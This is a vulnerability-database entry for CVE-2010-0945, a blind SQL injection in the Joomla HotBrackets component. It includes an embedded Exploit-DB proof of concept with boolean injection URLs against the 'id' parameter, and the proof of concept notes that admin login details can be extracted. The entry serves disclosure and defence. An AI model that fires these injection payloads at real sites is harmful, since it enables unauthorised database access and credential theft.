CVE-2010-0945

high

Published 2010-03-08 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

SQL injection vulnerability in the HotBrackets Tournament Brackets (com_hotbrackets) component for Joomla! allows remote attackers to execute arbitrary SQL commands via the id parameter to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-10953 webapps php text · 1 KB

FL0RiX · 2010-01-03

Joomla! Component com_hotbrackets - Blind SQL Injection

text exploit Source: Exploit-DB

<------------------- header data start ------------------- >

#############################################################
#       Joomla Component com_hotbrackets Blind SQL injection Vulnerability
#############################################################

# author        : Fl0riX

# Name           : com_hotbrackets

# Bug Type       : Blind SQL Injection

# Infection      : Admin login bilgileri al&#305;nabilir.

# Demo Vuln.     :
TRUE(+)
» http://server/index.php?option=com_hotbrackets&id=1 and 1=1
FALSE(-)
» http://server/index.php?option=com_hotbrackets&id=1 and 1=0

# Bug Fix Advice : Zararl&#305; karakterler filtrelenmelidir.

#############################################################

< ------------------- header data end of ------------------- >

< -- bug code start -- >

path/index.php?option=com_hotbrackets&id=[Blind]

< -- bug code end of -- >

Application impact

Vendor	Product	Versions	Fixed
hotbrackets	com_hotbrackets
joomla	joomla\!

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.